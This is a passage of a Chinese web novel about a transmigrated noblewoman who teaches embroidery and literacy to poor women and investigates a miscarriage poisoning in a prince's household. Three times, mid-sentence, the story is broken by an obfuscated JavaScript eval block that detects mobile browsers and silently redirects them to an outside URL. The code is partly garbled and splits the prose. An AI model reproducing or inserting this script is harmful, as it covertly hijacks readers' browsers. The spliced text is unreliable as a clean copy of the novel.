窗外飘着细雨,偶有路人在她门口指指点点:“听说就是她撺掇阿阮和她丈夫和离的。” 崔令仪闭上眼睛,轻轻叹了口气。 “大小姐,”阿阮拎着食盒推门而入,“今天还是没人来吗?” “是啊。” 崔令仪掀开食盒,里面放着尚书府的厨娘给她送来的餐点。阿阮和离以后无处可去,崔令仪便留在她身边做个不签身契的侍女。偌大一个尚书府,怎么也给她添得起这口饭。 她掰开半个豆沙糕递给阿阮,却不想那豆沙居然是流心的,顷刻就滴落下来,打湿了她随意丢在书桌前的《列女传》。她尚且不以为意,阿阮立即从怀中拿出绣帕来替她擦拭。 崔令仪不经意地扫了一眼,立即教她绣帕上的图案吸引住:“阿阮,这帕子是你自己绣的么?” “是。”阿阮不解其意,又从怀中取出另一张绣帕拿给她看,“怎么了么,大小姐?” “我有办法了。”崔令仪笑眼弯弯,擎住阿阮的手,“不必擦了,阿阮,快帮我把身后的架子抬到接上去,一会儿我说什么你就照着绣什么,听明白了吗?” 没一会儿,城南最热闹的一条街巷之中,在一块“贞静女德研修班”的匾额之下,支起了一个绣棚。 “免费教刺绣啦!”崔令仪笑得温良甜美,阿阮在她身侧飞针走线,眨眼间一簇兰花绣成,细看之下兰花竟是在模仿汉字,活脱脱便是“女则”二字,“这花样子好学又漂亮,又能顺便识两个字,来我这儿学刺绣的无论是绸缎绣布还是金丝银丝,我全包啦!” 阿阮不识字,她既不认识,也不会写,但是她会模仿。 往日里她是屠户的妻子,操持家务不算,还要为他打理肉铺、孝顺公婆、缝制四季衣衫。由于太过忙碌,她是没有时间去描绘非常美丽的花样、做非常精细的绣活的,因此,为了使绣帕别出心裁,她选取了身边最易得的花样:文字。 但由于她不识字,许多文字绣出来需要极力的辨认才能够看出来写的究竟是什么。也因为很多文字笔划复杂,她看不懂,她也会用不同的颜色来代替不同的笔画。虽然她的想法稚嫩粗糙,但这也在极大程度上启发了崔令仪。 是啊,古代底层女人往往不识字,她发传单也好、开女德班也好、在衙门门口等需要打官司的女人也好,她们总是不明白她的意思。既然不认识,又怎么踏进她的女德班来? 贵族小姐固然识字,但贵族小姐真的有机会可以随便来到街巷之中逛街吗,真的会认可她崔令仪真的在女德一道非常有造诣,想要来她的女德班么? 是她选错了路,因此才耽误了这许多时间。 路过的张铁匠家娘子驻足:“真不要钱?” “只要姐姐肯每日来学半个时辰。”崔令仪将绣绷翻面,将兰花与《女则》并置在一起,“你瞧,我们选的字都是正经书上的,学了以后你家相公一定会对你刮目相看。” “便是学不会识字,多几米丝绸绣布、蚕丝纱线,这不也是好事情吗,丝绸绣布多贵呀,姐姐,我跟你保证,你自己绣的物什,你尽可以带走,想自己用也可,想拿去卖也可,我全不拘你的。” 系统适时响起提示音。 【恭喜宿主任务完成,和离值+7,寿命+7日】 【宿主可以查询系统商城,通过和离值兑换物品。】 卡点完成了第二个主线任务,崔令仪在心里给自己偷偷捏了一把冷汗。 在如此大力推销之下,绣坊终于凑齐五个学生——铁匠妻、豆腐西施、卖胡饼的商贩、药铺的女郎中,还有平民家闲来无事的主妇。 阿阮今日先教她们绣的兰花,“女则”二字即便是在汉字中也是较为容易书写的,因此这几个女子都学的很快,只有没有刺绣基础的崔令仪学的最慢。等大家都学会了,为了等进度最慢的崔令仪,大家开始闲谈起来,忽地也有人问:“崔小姐,《女则》讲的是什么东西?” 崔令仪正卯着劲在跟绣线搏斗,闻言一惊,扎着了自己的手。随后她放下了绣棚,道:“《女则》还是挺有意思的,大家要是不着急回家,我就给大家讲来听听。” 《女则》一书为唐太宗的妻子长孙皇后所著,是采集古代女子得失事迹并加以评论的一本女性读物。长孙皇后去世以后,唐太宗令全国共同传颂皇后的著作,因此也成了所有士族小姐的必读书目。 值得一提的是,《女则》是长孙皇后用于时刻提醒自己如何做好皇后的一部评论集,在书中介绍的妇女事迹,不乏带有鲜明的个人自主意识。如她褒扬《晋书·列女》里的谢道韫,肯定她才华横溢、个人修养高尚,在她不满于丈夫工作方式、处事原则的情况之下,公然反对丈夫的行为,甚至在家国动荡之际亲手持剑杀敌。这些都体现出其文更重视女子自身的才干和学识,而摒弃传统的“妇道”。是比较适宜在封建王朝推动女性意识觉醒的读本。 五位学员一听就听忘了时间,天已经擦黑了才告辞回家,在路上还对一些女性的故事津津乐道。崔令仪讲的有些累了,阿阮过来扶她,口中道:“大小姐今天说的真好,连我都有些动容。天地间既然有男女之分,女子如何就一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392346|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要落在男子身后?长孙皇后和谢道韫都是天下女子的榜样。” “你能这么想就很好。”崔令仪道,“当今天下女子婚姻不幸者众,却限于律法、世俗,不敢和离,不愿和离。我觉得归根结底是因为没有将自己作为一个独立的人去看待,而是把自己当作丈夫、父亲的附属品。” “要让天下女子能够从极悲惨的境地解脱出去,需要我们一道努力。”她看向阿阮,月色落在她眉眼上,流淌出一层温柔而坚决的辉光,“阿阮,我们不是主仆,我们是同伴,是战友。我希望今生无论机遇如何,无论我们的设想能不能成为现实,我都希望你跟我能一直站在一起。” 今日已了,二人乘坐崔家的马车回府。夜色渐深,上京城中已没有什么人在闲逛,却在忽然走到一处时,阿阮情不自禁地打了个寒噤。 “怎么了吗?”崔令仪向她询问。 阿阮双手抚过自己的肩膀,道:“不知怎地,我忽然浑身发冷,总觉得有事情要发生似的。” “那我们快点离开这里。”崔令仪道。 “别,不要。”阿阮道,“大小姐,你有没有听见外头有什么声音,好像有女人在哭……” “她在哭着喊,不要,不要……” 难道是闹鬼了? 崔令仪壮着胆子掀开车帘,眼前场景入目,她情不自禁地在额角落下一行冷汗。 只见不远处有个熟悉的金色箭头,上头明晃晃地写了三个大字“李小姐”,在夜空之中尤为明亮。 崔令仪带着两位家丁下了车,走的近些才看清,是一个年轻男子正在撕扯身下少女的衣裳。少女泪流满面,一边推搡他,一边痛哭,眼神涣散,已有求死之心。 “大理寺办案,闲杂人等统统闪开!”崔令仪大呵一声。 “按《周律》卷四十二,欺辱流刑女眷者黥面徙八千里!你若再不停手,可就是白送给本官的业绩了!” 那登徒子闻言慌忙起身,丢下李小姐一人垂泪。李小姐衣衫被他扯得分外凌乱,崔令仪解下自己氅衣披在她身上,试探问:“你是哪家的小姐,刚才那人是谁?可需要我帮你报官?” 李小姐一听更是泪如雨下:“不,不要报官。” “我是刑部侍郎家的小姐,闺名李如璋。”李小姐道,“你刚才瞧见的那个,他原本是我的爱郎。” “他是今年从云州进京赶考的书生,我与他在大报恩寺偶然相见,一见钟情,便与他约定终身。谁知我父亲嫌弃田郎家贫,不肯应允,还强行给我和大理寺少卿谢珩定了亲。” “我誓死不愿嫁谢珩,一气之下与父亲断绝关系,与他约定今夜私奔。谁知他见包裹中没带什么财物,方知我真的与父亲断绝了亲情,竟然凶性大发,将我的金银首饰全部抢走,刚刚还……还要对我施暴。” “早知如此我就该听父亲的话,嫁了谢珩,便什么事儿都没有了!” 5. 第 5 章 崔令仪现在有些苦恼。 李如璋显然是个恋爱脑,竟然可以做到每一步都踩在坑上。但她真的很幸运,因为男方在发现娶她得不到什么好处以后,立刻就暴露出了他的本来面目。 真年轻啊。 崔令仪不由得回忆起自己还不是个毒妇的时候,真是光阴似箭,岁月如梭。现在她已经可以毫无芥蒂地和李如璋的爹站在同一阵营了。 为李如璋考虑,她要鼓励李如璋回家和她父亲道歉,然后欢欢喜喜地嫁给谢珩。谢珩为人很讲义气,绝不能说他坏,皮相又生的很好,至少在崔令仪和谢珩短暂的接触之中,崔令仪觉得谢珩人还是不错的。 但是为了她自己考虑,李如璋一定要和谢珩退婚,否则她就死定了。 真是难以抉择啊,崔令仪绝望的闭上眼睛。 思虑再三,崔令仪决定先带她脱离眼下的困境:“我是吏部尚书崔骊的女儿崔令仪。既然你决定不私奔了,为了你名节考虑,今夜你就跟我去我府上。我会找人向你父亲传信,让他可以安心。” 李如璋泣道:“可是我已经扬言要和他断绝父女关系了。” 崔令仪道:“父女之间哪有隔夜仇。等他知道了你并没有和男人私奔,而是住在我家,他必然不会责怪你的。” 李如璋扬起一张还略带婴儿肥的少女面孔:“你说的是真的吗?” “我骗你又有什么好处?”崔令仪叹道。 李如璋立即朝她显露出个甜美的笑容:“崔姊姊,你真好!” 崔令仪和阿阮一同把李如璋给扶起来,一路往马车上去,许久还是禁不住问出心中的疑惑:“你为什么誓死不肯嫁给谢珩?” “谢珩多可怕啊。”李如璋夸张地瞪大了眼睛,“满京城谁不知道他心狠手辣,听说从来没有人见过他笑。又身在大理寺,满手血腥,听说他以前亲审藩王谋逆案,曾当庭剜掉藩王家臣的眼珠喂狗。我光是听到他的名字就要做噩梦了。” 这么说是挺吓人的。崔令仪也情不自禁地打了个寒噤。 古代刑狱也太可怕了,前几天她才见到阿阮在重刑之下几乎体无完肤,如今又听闻谢珩逼供挖人眼珠。 如此重刑,必定冤案众多。 李如璋凑到她眼前,挤眉弄眼地对她说:“崔姊姊,你知道我们在私底下喊谢珩什么?我们都叫他‘玉面阎罗’。” “我爹竟然要把我嫁给他,他必定是心中一点儿我都没有了,我必定不再是他最宠爱的女儿了。” 崔令仪情不自禁抬起手,轻轻抚摸了一下她的头发。 她父亲怎么会不爱她呢。古代将男孩降生称作“弄璋之喜”,而女儿则是“弄瓦之喜”,她父亲给她取名叫做“如璋”,自然是说她在她父亲的心里,跟男孩子也不差分毫。这在整个古代大环境中,已经极为难得了。 翌日,崔令仪又去了她的“贞静女德研修班”。今天来的学员比昨日略多了几个,无非是想占她针线的便宜,顺道还能听几个故事。 古代妇女的受教育情况比她想象的更糟糕。她给大家讲《女则》,说到这本书是长孙皇后所写,许多人都不知道究竟谁是长孙皇后。崔令仪就给她们从长孙皇后一直讲到太平公主。 说到武则天时,大家尚且十分惊讶:“女人还能当皇帝?” 再听到安乐公主时就已经见怪不怪了:“她太可惜了,从头到尾都是为人利用。” 最后听到太平公主,有人问出了这一整天崔令仪最想听到的问题:“太过分了,女人凭啥不能当皇帝?” 夜幕降临时崔令仪才回到府上,管家急匆匆地来请她:“大小姐,李侍郎求见,已经等了您一下午了。” 他的来意,崔令仪心知肚明,却故意问:“李侍郎?你确定他不是来找我爹的吗,他来找我做什么,我跟他又不熟。” “大小姐,大人也想知道。” “等我更衣。”崔令仪扯下身上的氅衣,露出里边为了在市井之中和大家打成一片特意选的浅青色的褙子和罗裙,“这套衣裳见李侍郎也太不庄重了,来人,给我换一身能见客的。” 李侍郎在崔府苦等了一下午,茶水喝了一肚子,茅厕都跑了五六趟。崔尚书陪他陪的心里直犯嘀咕,简直怀疑他臭不要脸,看上了自己的女儿。 过了酉时,梆子已经响了一声,下人终于来回禀,说大小姐已经回来,更衣之后便来见客。 又过了大半个时辰,崔令仪终于来了。 她面颊上贴着精致的珍珠花钿,眉眼纤细,头戴白玉花冠,如同画上走下来的古代仕女。原身喜欢穿白,只是一样的白衣在原身的身上显得清纯可怜,在她身上却显得秀雅冷艳。 崔令仪道:“是令仪来晚了,向父亲、侍郎大人请罪。” 李侍郎不敢怪她半句,笑出一脸褶子跟她寒暄。崔尚书眼看着李侍郎,脸越来越绿。 他不问,崔令仪便也不主动提起。你来我往地打了五六个回合,李侍郎终于按捺不住:“小女顽劣,因不满意我给她定的一桩亲事,竟然离家出走。真是气死老夫了。好在有崔小姐好心收留,否则她万一遇见什么意外,我和她母亲下半辈子还活不活了?她这是要我们的命啊。” “侍郎大人太客气了。”崔令仪道,“如璋妹妹已经都跟我说了。俗话说,男大当婚,女当大嫁,如璋妹妹确实也到了成婚的年纪。只是大人强把她嫁给自己不喜欢的人,那让她怎么能接受的了呢?何况对方又是素有‘玉面阎罗’之称的谢珩,如璋妹妹可是说,光听见他的名字就要做噩梦。” 李侍郎立即将脸一板:“这就是她胡闹了。自古以来,婚姻大事,父母之命,媒妁之言,哪有她说话的份?” 崔令仪不甘示弱:“既然如此,大人是不在乎如璋妹妹婚后能否过的幸福了?” 李侍郎道:“我给她选的夫君自然是天下最好的男子,我怎么会害她?谢珩年纪轻轻就官拜四品,更尊我为授业恩师。我与他议亲时,他曾亲口应下会一生一世待如儿好。如此郎君,有什么对不住她的?” 崔令仪摇了摇头:“既然李侍郎这么说,那令仪也没有什么好说的。今日辰时,如璋妹妹已经离开我府上,连我也不知道她要去哪里,只怕李侍郎要白跑一趟了。” 李侍郎盛怒,但是碍于崔尚书在此也不敢发作,半晌他要请来崔尚书评理,道:“崔兄,这就是你教出来的好女儿!” 崔尚书老神在在地端起了茶盏:“李兄啊,孩子大了,有自己的主见了,也是很正常的。” 崔尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392347|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书溺爱女儿也是满京城出了名的。原身满京城追着赵王跑,一心要嫁给赵王,他非但不阻拦,还放任原身肆意妄为,连旁人想要跟他做儿女亲家他都婉拒,有人曾问他如果女儿最终没有嫁给赵王,又坏了名声,该当如何。 崔尚书那时说:“那便让她出家去做姑子罢。” 崔令仪:呜呜,感动,更想给他打扫卫生接送孩子了。 李侍郎被他父女两个气的脸红脖子粗:“难道就任由如儿嫁给那个云州小儿?那小儿浅薄粗鄙,与我女儿如何相配,我把如儿嫁给他,才是真的把她送进了火坑!” 崔令仪不甘示弱:“大人,令爱聪慧,您怎能将她当作识人不清的孩童?她早已经看透了那人的真实面目。昨夜,令爱亲自跟我发誓和那人永远断绝来往。但她的终身大事,她希望自己可以有做主的权利。大人如果真的疼惜她,就应该给她这个权利,就应该让她选自己喜欢的人,而不是一辈子守着不爱的人,那对她而言,比死还要痛苦。” 李侍郎“你你你你……”地喊了半天,却说不出口,只得求助般地看向崔尚书,乞求他能和自己站在同一头。 崔尚书喝了一口茶,半晌道:“李兄你看,孩子说的也很有道理嘛。” 崔令仪立即接话:“正是如此,既然她已经想开了,不愿在那云州小儿身上吊死,大人又为何非要把她嫁给谢珩不可?依我看不如你们父女各退一步,她和云州那人不再联系,大人也同意她和谢珩退婚。满京城这么多大好儿郎,为什么就非他谢珩不可?依我看他也没有什么过人之处。大家坐在一起,和和气气地共同商议夫婿人选,这样岂不是皆大欢喜?” 最终,李侍郎无奈叹息,同意了崔令仪的提议。 “就依你说的吧。现在可以让我见一见如儿了?” 崔令仪但笑不语,只是轻轻击掌三下。 屏风后边立即钻出一个娇小的身影,嗖地一下钻到李侍郎膝下。李如璋扬起脸,一双杏眼泪盈于睫:“爹,女儿不孝,让爹爹操心了。” 李侍郎瞧见女儿这副模样,看见她面颊上的青色掌印,也忍不住流泪:“如儿,是爹错了,爹答应你,以后我们都商量着来,爹再也不逼迫你了。” 崔令仪终于松了口气,她看向崔尚书,崔尚书还在饮茶,眉眼低垂,并没看她,但是茶盏之中映出一丝轻微地笑意。 翌日一早,崔令仪先送李如璋回家。 李如璋和母亲又相拥而泣,崔令仪百无聊赖,就在她的闺房外闲逛。晨光熹微,她听到一阵风铃声。 春光正好,柳树枝桠舒展,翠鸟在林中穿梭,满园春色含苞欲放。 崔令仪寻至风铃处,随手拿手拾起,那是个锈迹斑斑的青铜风铃,她用手轻微地摇晃了一下,忽地瞧见对面墙壁上映出一个狰狞无比的鬼影。 崔令仪情不自禁往后退了一步,直到满身阳光洒落在她身上才如梦初醒。她仰起头,再看了一眼风铃,瞧见风铃身实际上篆刻了奇怪的图腾。当有光穿过风铃时,由于小孔成像的原理,在小孔另一侧的墙壁上形成了倒立的实像,也就是这个栩栩如生的鬼影。 崔令仪凝望风铃半晌,忽地笑了笑。 她现在明白为什么李如璋说,每想到谢珩就会做噩梦了。 6. 第 6 章 李如璋叽叽喳喳地走到她身边,口口声声问着她在看什么,崔令仪却不答。她凝视那风铃良久,终于道:“如璋妹妹,你这串风铃还不错,不如就送给我吧。” 李如璋不解其意:“好啊。” 崔令仪拿起风铃离开,先是去了她的女德班,等故事讲完,刺绣绣好了,人差不多都散了,她不回府,转而去了大理寺。 风吹的灯笼猎猎地响,崔令仪披着深色的氅衣,大理寺好似在黑暗中潜伏的巨兽,向她张开血盆大口。而她孤身在大理寺门口高举起那一串风铃,守门的军士盯着她,一时无所适从。 “去禀明谢少卿,”崔令仪道,“我手上有重要的证物,他想必会很有兴趣。” 谢珩果然见了她。烛光摇曳,他望着她手上的风铃,竟还扯了扯唇角,轻微地笑了:“竟然被你发现了。” “你真不愿来大理寺么?”谢珩问,“做个女官,做点真正有用的事情,过几年陛下开恩,给你封个诰命,不比你在外做劳什子讼师要好得多?” 他身上笼罩着一点淡淡地血腥气,玄色衣袍掩住了殷红的血,手背上有一处没能洗掉的红痕。虽然他已经在极力掩饰,但能看得出,他刚刚才对人施以重刑。 “不必了,大人,我今天来找你也不是为这个。”崔令仪断然拒绝,“我来找你只是想问,你既然不想娶李如璋,为什么不直接跟李侍郎讲,反倒是悄悄对李如璋下手?我不得不怀疑,李如璋那个爱郎,也是大人的手笔。” 谢珩道:“这风铃的确是本官的。可你说什么爱郎,本官闻所未闻。” 崔令仪道:“无所谓了,我也不在乎。只是如今有此证物,大人想必也不想让我把此事宣扬出去。我如今只有一件事请求大人,若大人能与李如璋退婚,那这风铃我便原物奉还,今天的事情我也保证不教第二个人知道。” 系统提示音“滴——”一声在她耳侧响起。 【恭喜宿主任务完成,和离值+7,寿命+7日】 【宿主可以查询系统商城,通过和离值兑换物品。】 崔令仪无声地松了一口气。 “你把这事儿宣扬的满京城都知道也无所谓。”谢珩身子往后轻松地依靠,浑不在意般,“崔小姐还是先操心操心自己罢。赵王妃流产后胎儿一直没有入殓,赵王咬死那孩子不是他的,是赵王妃和郎中苟且所生,而这一切,都是因为本官相信了崔小姐那番辩白。” “与我有什么相干?”崔令仪立即否认。 “你是赵王妃私通案中唯一的人证,是你亲眼目睹赵王妃与郎中私通。” “原本你有给赵王妃下毒致其流产的嫌疑,证词自然不可信。可现在你洗脱了嫌疑,那自然就是赵王妃与人有染,怀孕后因恐惧玷污皇室血脉,自行饮下红花流产,赵王自然不肯咽下这口气。” 崔令仪对原男女主没有什么好感,她既然已经洗脱嫌疑就不如置身事外,无论谢珩信或不信她,但是事情已经这样了。 她漠不关心地:“哦。” 此刻,她脑中响起系统的提示音。 【请宿主在七日之内完成第三个主线任务:帮白芷柔洗清嫌疑。】 【奖励:和离值+7,寿命增加7日。】 【任务失败,宿主将被即刻抹杀。】 崔令仪:…… 帮白芷柔洗脱嫌疑,难道要她自己承认是她自己做的吗。 【宿主若拒绝,即刻抹杀。】 崔令仪深吸一口气,咬牙切齿:“……行,我洗。” 今夜的风就像她的心一样冰冷。 崔令仪转头看向谢珩,突然换上诚恳的表情:“大人,我觉得我无罪,不能说明赵王妃一定有罪吧。没准……赵王妃可能真是冤枉的呢?” 谢珩冷笑:“崔小姐有什么新的证言么?” 在原文中原身发现白芷柔怀孕后,暗中收买赵王府的郎中,让他每次诊脉时故意拖延时间,制造白芷柔与郎中独处一室的假象,还多次在萧临渊面前暗示:“王妃近日气色不佳,总召那年轻郎中入内室,也不知在聊什么,许久才出来。”同时,仿照白芷柔的笔迹,写下一封“情诗”塞进郎中的药箱,再“偶然”让萧临渊亲自发现。 那日告发时,原身装作惊慌失措地跑来:“临渊哥哥,我方才路过王妃院子,竟听到里头竟然有男子的声音。” 萧临渊带人冲进去,正撞见郎中跪在床前替白芷柔诊脉,白芷柔百口莫辩,被萧临渊罚去祠堂下跪三日,又因为被骗饮下被原身加料的安胎药,最终血崩流产。 白芷柔差点因此一命呜呼。最终强撑着身子给萧临渊留下血书,萧临渊最终选择相信了她,于是将原身送入大理寺之中。原文中本没有原身将自己洗白的情节,所以这次流产事件成为了男女主关系缓和的转折点。 但是现在不同了。 有谢珩为她背书,力证崔令仪的无辜,那么白芷柔的血书就成了废纸一张,萧临渊只会因为她的狡辩而更加厌恶她,想再证明白芷柔的无辜,几乎是不可能的了。 崔令仪面不改色:“因为我觉得赵王妃不是那样的人,若赵王妃真与人私通,为何不偷偷堕胎,反而让郎中光明正大送药?这不是自寻死路吗?” 见谢珩不为所动,崔令仪眼睛一闭。 “大人若不信,不如让我亲自查证?” 因崔令仪要亲自查证,谢珩默许她查看赵王妃流产案的证物。那日白芷柔所服用的药渣尚在,这种传统中医崔令仪就不懂了,便由一旁的仵作为她介绍:“一般妇人的保胎药中,主要成分有白术、黄芩、杜仲、桑寄生等药物,能够健脾益气、清热安胎。而在这服药中,除了一味白术隐藏药味,其他均是水银、红花、麝香等活血通络的伤胎之药。赵王妃本来就身体孱弱,又在祠堂跪了数日,胎儿早已衰弱不堪,又服下这么一碗虎狼之药,她自然会血崩流产。” 崔令仪轻轻蹙起眉。 她十分肯定,原文中崔令仪就只给白芷柔下了一味红花。 因为原文仔细描绘了原身偷盗红花的细节,甚至意外在萧临渊的密室中发现了大量甲胄、兵刃,得知萧临渊所图甚伟,更加坚定了她想要抓紧铲除白芷柔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392348|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想法。 所以除了红花以外,水银、麝香,应当都不是原身下的。 那应当是谁呢。 崔令仪情不自禁回顾起原文的其他恶毒女配。 比如赵王侧妃林绾绾。 林绾绾的兄长是萧临渊的战友,当年林绾绾的兄长为掩护萧临渊而死,萧临渊将她接到府上精心照顾,谁知一次酒醉,二人迷迷糊糊地躺在了一张床上,萧临渊为了对得起她为他而死的兄长,给了她侧妃的名分,还把赵王府的管家权交给了林绾绾,要说世上谁最不想让白芷柔生下孩子,除了崔令仪,那就是林绾绾。 林绾绾痴恋萧临渊,也不是一日两日,一直视白芷柔为眼中钉肉中刺,之所以在恶毒女配的排序在崔令仪之后,是因为她日常表现出的个性都是直接爽朗,看不惯白芷柔就对她冷嘲热讽,伤害都是浮现在外在的,甚至有时还会被白芷柔利用。 若真是如此,那林绾绾的心思还真是毒辣至极。 崔令仪询问仵作:“这其中的堕胎药有没有什么特别之处,能不能找到线索?” 仵作沉吟许久:“这其中麝香的成色,依老夫看,上京城中只有永春堂的麝香可以媲美。” 翌日,崔令仪乔装改扮,自称是富商妾室,去了永春堂。 她穿了一套桃红色罗裙,轻纱覆面,裙袍之下纤腰盈盈一握,说话慢条斯理,像是没骨头似的,走到哪里就倚在哪里。 她在掌柜面前故作姿态:“上次我让丫鬟过来买的麝香成色不大好,这回只能亲自来了。” 掌柜解释道:“夫人真是行家,一看便知麝香的成色。只是夫人想要的那种上等麝香,价格不菲,数量也稀少,小店一般只供应给熟客。” “我怎么不是熟客了?”崔令仪问他,“我只是不常亲自来,总是派丫鬟过来。想必你们欺负我的丫鬟不是熟脸,总是诓骗。” 掌柜忙问:“敢问夫人身在哪家府上,小的给夫人查查账册,若有轻慢,一定向夫人赔罪。” 崔令仪便凑到他身侧看他账册,那掌柜原想遮挡,崔令仪道:“先生怕我什么,我又不识字。” 因此她就眼尖地瞧见了发现林绾绾心腹嬷嬷每月都来取药的记录,其中不乏有暗中戕害于人的毒药。 “好东西。”崔令仪笑了笑。 掌柜问:“夫人说什么?” 崔令仪已然换了一副口吻:“我说你这账册是好东西,大理寺办案,交出来吧。” 她身侧两个家丁模样的军士举起手中的令牌,那掌柜一见即噤若寒蝉,忙不迭将账册交到崔令仪手中。 这一整日,崔令仪都坐在永春堂中假冒掌柜。夕阳西下之际,她终于等到一个矮胖的妇人鬼鬼祟祟地来到永春堂,口口声声要见掌柜的。 崔令仪道:“掌柜的不在,夫人有事儿就跟我说罢。” 那妇人怒道:“那怎么成,你算是什么东西,也配跟我说话?快把掌柜的叫出来,否则一定要你吃不了兜着走!” 崔令仪笑了笑:“夫人不信我也没有办法,如今这永春堂可是我当家了。” 7. 第 7 章 有时候对刁蛮的人,也许就要采取些刁蛮的法子才奏效。 崔令仪支颐瞧着那妇人,轻飘飘地弯起了唇角。 “夫人是赵王侧妃的乳母,今日到此,为的不就是要益母草吗?” “益母草而已,又不是什么见不得人的药,何必只跟掌柜的说呢?”她疑惑地歪了歪头,一脸天真的看向那妇人,“难道夫人来此,为的并不是益母草,而是……” “麝香?” 古人做假账的本领较之现代或许还是差些。永春堂掌柜在账册中写着赵王侧妃每次派人来买药,买的不是人参当归就是益母草,可偏偏对照药材出库记录,每日出库的药材都不是这些补药,而是水银、红花和麝香,甚至还有夹竹桃和乌头草。 这些毒药出库本都应该在官府报备,但是官府甚少查证,久而久之药铺也都懈怠了,这才让林绾绾钻了这个空子。 人证账册都有了,想来,她也该去见见当事人了。 崔令仪独自立在赵王府朱漆大门前,仰头望着檐角狰狞的嘲风兽。这是她穿越以后第一次来到赵王府,赵王府与原著中所说的如出一辙,两边飞檐上坠了两排灯笼,压制住月色的寒芒。 已经暮春,夜里还是有些凉。崔令仪拢了拢身上的鸦青斗篷,赵王府管家站在她身前向她嘘寒问暖:“崔小姐,好久没来了,我们阖府上下都很想你。当日殿下报官说是崔小姐给王妃下药,这怎么可能呢,崔小姐是我们看着长大的,从小就善良,果然,大理寺还是证明小姐的清白了。” 说起白芷柔又咬牙切齿:“王妃心思歹毒,这回殿下可一定不能容她了,这次一定要休了她。” 崔令仪听着他在耳边不住地碎碎念,简直一个头两个大。 真服了原身了,赵王府里的关系能处的这么好。 也真服了白芷柔了,天天在这里过日子,还把自己弄的这么招人恨。 等他们穿过九曲回廊,一阵奇异香甜掺杂着鲜血的锈气扑鼻而来。崔令仪情不自禁掩住鼻子,然而那种刺鼻的甜香有着极夸张的侵略性,她即便屏住呼吸,都能感觉到自己的胸腔中回荡的都是这样一股诡异的香气。等她走过最后一扇云母屏风,并不意外地对上一双鹰隼般的眼睛。 萧临渊斜倚在榻上,蟒袍半敞,露出雪白的皮肉,和锁骨以下狰狞地一道刀疤。原文时间线不明,但据崔令仪推断,他今年应当只有二十九岁,然后其人面容却瘦削得近乎嶙峋,眼下青黑如墨,看起来已像四十许人。 崔令仪在看见他那一刻,就立刻打了个寒噤。 原身胃口真好啊,这都吃得下。 萧临渊作为小说男主长得当然不丑,甚至称得上是俊美。但是他气质极为阴郁,人又太瘦,看着令人觉得病骨支离,但他瞧见崔令仪,竟然又显出个较为温和的笑容。 “令仪,你好久没来了,别说府上的人,就连我也有些不适应。”他道,声线喑哑,连笑时有一种阴沉沉地冷。 “临渊……哥哥。”崔令仪怕他看出破绽,极不自然地按照原身喊他的方式叫了他一声。 “过来坐。”他拍了拍他身侧的绣墩。 崔令仪在心里大喊,原身跟他的关系有那么好吗?随后忸扭捏捏地缓步迈过去,坐到他身侧。萧临渊笑了一声:“怎么,记仇了?” 崔令仪笑了笑:“临渊哥哥,怎么会?” 她面上带笑,心中却警铃大作。 萧临渊的目光如同实质,仿佛要将她剥皮拆骨。良久,他道:“令仪,你似乎成熟了不少。” 崔令仪如坐针毡,面上却不动声色:“哦,是吗?想必任谁在大理寺走了一遭,都会有所成长吧。” 萧临渊问:“你这么晚登门,是所谓何事?有什么不能明儿再说的,听说你最近整日与大理寺的人混在一起,谢珩不是说你确实没有给白芷柔下红花么?” “是,我没有下红花。”崔令仪飞速在脑中组织语言,“但是这也并不能证明白芷柔有罪。” “不是你说的,她和郎中私通么?”萧临渊眯起眼睛。 崔令仪立即从绣墩上跳起来,不动声色地和萧临渊拉开距离,却能看清他的眼睛:“我没有,我从来没有拿出证据来证明白芷柔和郎中确实有染,我也从没有拿出证据来证明白芷柔腹中的孩子是郎中的。” “休要再提那个孽种。”萧临渊脸上立即拢上一层寒霜。 “或许,临渊哥哥,你跟孩子滴血验亲了吗?”崔令仪试探问。 “那孽种生下来就已经是个死胎,还如何验亲?”萧临渊反问。 “我倒还有个办法。”崔令仪道,“临渊哥哥,你听说过滴骨验亲吗?” 滴骨法最早出现在三国时期,原理是将活人的血液滴在已故亲属的骨骼上,如果血液能够渗入骨头,就说明两者之间存在血缘关系。谢承所著的《会稽先贤传》中会稽人陈业通过这种方法辨认出哥哥的遗骸,在一些以仵作为题材的的电视剧中也有对具体过程的描述。不过从现代科学的角度来看,这个方法显然是没有科学依据的。 萧临渊问:“这是何法?” “取临渊哥哥的血液,再取那胎儿的一寸白骨,将其擦拭干净后,置于匣中,再将血液滴于其上。若血液能渗入,便说明白芷柔腹中的孩子确是临渊哥哥的骨肉。” 